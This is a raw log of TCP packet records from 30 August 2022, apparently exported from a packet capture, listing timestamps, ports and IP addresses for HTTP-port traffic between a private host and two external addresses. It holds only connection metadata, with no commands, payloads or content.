Aug 30, 2022 15:54:42.511046886 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511055946 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511075974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511089087 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511091948 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511111975 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511131048 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511143923 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511147976 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511157990 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511167049 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511183977 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511203051 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511204004 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511219978 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511236906 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511238098 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511256933 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511271000 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511276007 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511296034 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511313915 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511315107 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511333942 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511359930 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511363029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511379957 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511382103 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511400938 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511419058 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511436939 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511456966 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511476040 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511495113 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511512995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511531115 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511548042 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511564970 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511581898 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511600018 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511617899 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511636019 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511652946 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511672020 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511689901 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511706114 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511723042 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511742115 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511759996 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511776924 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511794090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511811972 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511830091 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511846066 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511862993 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511878967 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511895895 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511917114 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511933088 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511950970 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511969090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511986017 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.512003899 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.512008905 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512017965 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.512028933 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512033939 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512034893 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.512038946 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512044907 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512048960 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.512052059 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512058020 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512063026 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512068033 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512068033 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.512073040 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512078047 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512082100 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512085915 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512087107 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.512090921 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512095928 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512099981 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512104988 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512121916 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.512223959 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.513959885 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.515585899 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.557846069 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.857664108 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:46.158946037 CEST	49729	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:46.346774101 CEST	80	49729	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:46.346949100 CEST	49729	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:46.347052097 CEST	49729	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:46.349389076 CEST	49729	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:46.542905092 CEST	80	49729	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:47.148960114 CEST	80	49729	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:47.148994923 CEST	80	49729	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:47.149142027 CEST	49729	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:47.151179075 CEST	49729	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:47.217693090 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:47.341379881 CEST	80	49729	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:47.415752888 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:47.417074919 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:47.417212009 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:47.418836117 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:47.619698048 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.225950956 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.226216078 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.226336956 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.226697922 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.226732969 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.226752043 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.226886034 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.420691013 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.420984983 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.421066999 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.421401978 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.421710014 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.421787024 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.424532890 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.424915075 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.425002098 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.425229073 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.468722105 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.614593029 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.614878893 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.615009069 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.618448019 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.618585110 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.618674040 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.618758917 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.619090080 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.619179010 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.619250059 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.619765043 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.619844913 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.620116949 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.620162964 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.620234013 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.622499943 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.624162912 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.624250889 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.662007093 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.662209988 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.662391901 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.812840939 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.812911034 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.812957048 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.812983990 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.813045979 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.813083887 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.813107014 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.817646980 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.817740917 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.817864895 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.818200111 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.818262100 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.818366051 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.818834066 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.818876028 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.818903923 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.819308043 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.819377899 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.819448948 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.819669008 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.819725037 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.819801092 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.819843054 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.819905043 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.819917917 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.819961071 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.820014954 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.820107937 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.820290089 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.820348024 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.820573092 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.820745945 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.820806980 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.821863890 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.822818041 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.822865009 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.822899103 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.858607054 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.858705997 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.861187935 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.861267090 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.861346960 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:48.861552000 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:48.984347105 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.008619070 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.008667946 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.008694887 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.008822918 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.008938074 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.009016037 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.009095907 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.011322021 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.011388063 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.011706114 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.012948036 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.013070107 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.016396046 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.016418934 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.016493082 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.016819954 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.017069101 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.017127037 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.017390966 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.017412901 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.017466068 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.017642975 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.017663956 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.017682076 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.017703056 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.017719984 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.017749071 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.017813921 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.018090963 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.018111944 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.018168926 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.018570900 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.018631935 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.019117117 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.019244909 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.019306898 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.019992113 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.020126104 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.020206928 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.020535946 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.020704985 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.020770073 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.020860910 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.021034956 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.021107912 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.021661997 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.021704912 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.021770000 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.022094011 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.022387981 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.022455931 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.022712946 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.023179054 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.023246050 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.023655891 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.024005890 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.024115086 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.025015116 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.025351048 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.025444031 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.027204990 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.027729988 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.027812004 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.027931929 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.055799007 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.055960894 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.056123018 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.058058023 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.058151960 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.058299065 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.182698965 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.183244944 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.204813004 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.204931021 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.205121040 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.205430984 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.208465099 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.208509922 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.208713055 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.208911896 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.208981037 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.209887981 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.210346937 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.210408926 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.212845087 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.213284016 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.213327885 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.213387966 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.213732004 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.213776112 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.213793039 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.214267015 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.214312077 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.214323044 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.214760065 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.214802980 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.214833975 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.215187073 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.215231895 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.215269089 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.215274096 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.215332031 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.215744972 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.216140985 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.216217041 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.217592001 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.217629910 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.217709064 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.218094110 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.218168020 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.218544006 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.218627930 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.218878984 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.218977928 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.219666958 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.219799042 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.220230103 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.220319986 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.220491886 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.220560074 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.221843958 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.221951962 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.222064972 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.222130060 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.222176075 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.222234964 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.223685026 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.223740101 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.223802090 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.224020004 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.224093914 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.224112988 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.225634098 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.225681067 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.225718975 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.225763083 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.226031065 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.226099968 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.227678061 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.227777958 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.227972984 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:49.228039980 CEST	49730	80	192.168.2.5	190.140.74.43
